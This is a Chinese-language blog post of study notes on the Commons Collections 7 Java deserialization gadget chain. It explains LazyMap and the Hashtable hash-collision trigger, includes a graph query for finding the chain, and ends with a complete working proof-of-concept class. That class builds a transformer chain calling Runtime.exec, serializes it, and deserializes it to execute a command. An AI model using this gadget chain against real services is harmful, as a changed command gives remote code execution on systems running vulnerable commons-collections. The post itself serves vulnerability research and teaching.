Java Commons Collections 7 调用链

前言:这篇作为Commons Collections 7 调用链分析的笔记

依赖:commons-collections:commons-collections:3.1

这篇文章换个方向去理解,站在挖掘漏洞链的角度上进行分析学习

LazyMap对象的get方法如下:

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

可以看到这里调用了Object value = factory.transform(key)

那么factory是什么呢?来看下LazyMap类的属性

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {

    /** Serialization version */
    private static final long serialVersionUID = 7990956402564206740L;

    /** The factory to use to construct elements */
    protected final Transformer factory;

这里的factory可控,可以利用经典的链式调用

接着继续看谁会在反序列化readObject中来进行调用LazyMap.get方法,这里LazyMap是Map的实现类,所以可以去找相关Map类的get方法调用即可

tabby反序列化链挖掘

souce:任意类#readObject

chain:

sink:java.util.Map#get

match (source:Method) where source.NAME="readObject" and source.CLASSNAME="java.util.Hashtable"
match (sink:Method) where sink.NAME="get" and sink.CLASSNAME="java.util.Map"
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 5) yield path
return * limit 10

可以看到存在相关Hashtable的reconstitutionPut中的equals方法直接到达Map对象的get方法的,那么这里可以尝试进行构造

package com.zpchcbd.cc7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7_jdk8_v3_v4_Hashtable_LazyMap {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        final Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        setFieldValue(transformerChain, "iTransformers", transformer);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        serialize(hashtable);
        unserialize();
    }


    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

posted @ 2021-08-11 21:35  zpchcbd  阅读(60)  评论(0)    收藏  举报